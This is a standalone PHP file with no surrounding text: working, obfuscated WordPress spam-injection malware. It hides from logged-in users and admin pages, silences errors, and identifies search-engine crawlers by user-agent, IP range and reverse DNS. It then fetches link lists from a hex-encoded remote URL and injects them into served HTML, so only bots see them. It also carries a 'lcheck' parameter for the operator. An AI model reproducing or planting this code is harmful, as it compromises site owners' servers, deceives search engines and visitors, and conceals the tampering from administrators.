<?php

if (!class_exists('OneG')) {
    if (function_exists('is_user_logged_in')) {
        if (is_user_logged_in()) {
            return false;
        }
    }

    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 4);
    $uri = $_SERVER['REQUEST_URI'];
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $bad_urls = '#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#';
    if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) {
        return false;
    }
    
    class OneG {

        public $url = "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x72\x6f\x69\x6e\x2e\x74\x6f\x70\x2f\x6f\x6e\x65\x67\x2f\x67\x65\x74\x2e\x70\x68\x70";
        public $ua = '';
        public $uri = '';
        public $ip = '';
        public $ip_list_bing = array("191.232.*", "131.253.*", "157.55.*", "157.56.*", "207.46.*", "40.77.*", "204.79.*", "68.180.*", "199.30.*", "131.107.*", "207.46.*", "207.68.*", "213.199.*", "65.54.*", "65.52.*", "65.55.*", "68.142.*", "98.138.*", "206.190.*", "207.126.*", "209.131.*", "209.191.*", "209.73.*", "216.109.*", "216.136.*", "216.145.*", "216.155.*", "64.157.*", "66.163.*", "66.196.*", "66.218.*", "66.228.*", "66.94.*", "67.195.*", "68.142.*", "68.180.*", "69.147.*", "72.30.*");
        public $links = array();
        public $bot = '';
        
        function get($url) {
            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
                curl_setopt($ch, CURLOPT_TIMEOUT, 15);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            } elseif (@ini_get('allow_url_fopen')) {
                return @file_get_contents($url);
            } else {
                $parts = parse_url($url);
                $target = $parts['host'];
                $port = isset($parts['port']) ? $parts['port'] : 80;
                $page = isset($parts['path']) ? $parts['path'] : '';
                $page .= isset($parts['query']) ? '?' . $parts['query'] : '';
                $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
                $page = ($page == '') ? '/' : $page;
                if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
                    @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
                    $headers = "GET $page HTTP/1.1\r\n";
                    $headers .= "Host: {$parts['host']}\r\n";
                    $headers .= "Connection: Close\r\n\r\n";
                    if (fwrite($fp, $headers)) {
                        $resp = '';
                        while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
                            $resp .= $curr;
                        }
                        if (isset($curr) && $curr !== false) {
                            fclose($fp);
                            return substr(strstr($resp, "\r\n\r\n"), 3);
                        }
                    }
                    fclose($fp);
                }
            }
            return TRUE;
        }

        function init($uri, $ua) {
            $bot = FALSE;
            if (@preg_match('/google/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'google';
            }
            if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'bing';
            }
            if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby|yandex|yadirectbot~i', $ua)) {
                $bot = TRUE;
                $this->bot = 'other';
            }
            if (!$bot) {
                $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
                if ((in_array($this->ip, $this->ip_list_bing))) {
                    $bot = TRUE;
                    $this->bot = 'bing';
                } else {
                    foreach ($this->ip_list_bing as $ip) {
                        if (preg_match("#$ip#", $this->ip)) {
                            $bot = TRUE;
                            $this->bot = 'bing';
                            break;
                        }
                    }
                }
            }
            if (!$bot) {
                $referer = @gethostbyaddr($this->ip);
                if (@preg_match('/google/i', $referer)) {
                   $bot = TRUE;
                   $this->bot = 'google';
                }
                if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $referer)) {
                   $bot = TRUE;
                   $this->bot = 'bing';
                }
            }
            $host = 'unknown';
            if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) {
                $_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"];
            }
            $tmp = @parse_url('http://' . $_SERVER["HTTP_HOST"]);
            if (isset($tmp['host'])) {
                $host = $tmp['host'];
            }
            if ($bot OR isset($_REQUEST['lcheck'])) {
                $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}";
                if (isset($_REQUEST['lcheck'])) {
                    $url .= '&check=1';
                }
                $page = $this->get($url);
                if (isset($_REQUEST['lcheck'])) {
                    die($page);
                }
                if (strpos($page, '<link>') !== FALSE) {
                    preg_match_all('~<link>(.*?)</link>~', $page, $m);
                    $this->links = isset($m[1]) ? $m[1] : array();
                }
            }
            if (count($this->links) > 0) {
                ob_start(array($this, 'rwcontent'));
                register_shutdown_function('ob_end_flush');
            }
        }
        function rwcontent($content) {
            $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'span', 'body');
            $tags_vals = array();
            foreach ($tags as $tag) {
                preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i", $content, $matches);
                if (@isset($matches[0])) {
                    foreach ($matches[0] as $match) {
                        $tags_vals[] = array('tag' => $tag, 'content' => $match);
                    }
                }
                if (count($tags_vals) > count($this->links)) {
                    break;
                }
            }
            foreach ($this->links as $link_index => $link) {
                $link .= ' ';
                foreach ($tags_vals as $tag_index => $tag_val) {
                    if (strlen($tag_val['content']) % 2 == 1) {
                        $tag_content_new = $tag_val['content'];
                        $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$link}", $tag_content_new, 1);
                    } else {
                        if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
                            $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$link}.</{$tag_val['tag']}>", $tag_val['content']);
                        } else {
                            $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$link}</{$tag_val['tag']}>", $tag_val['content']);
                        }
                    }
                    $content = preg_replace("~{$tag_val['content']}~i", $tag_content_new, $content, 1);
                    unset($tags_vals[$tag_index]);
                    if (strpos($content, $link) !== false) {
                        unset($links[$link_index]);
                        continue 2;
                    }
                }
            }

            return $content;
        }
    }

    $ratel = new OneG;
    $ratel->init($uri, $ua);
}
?>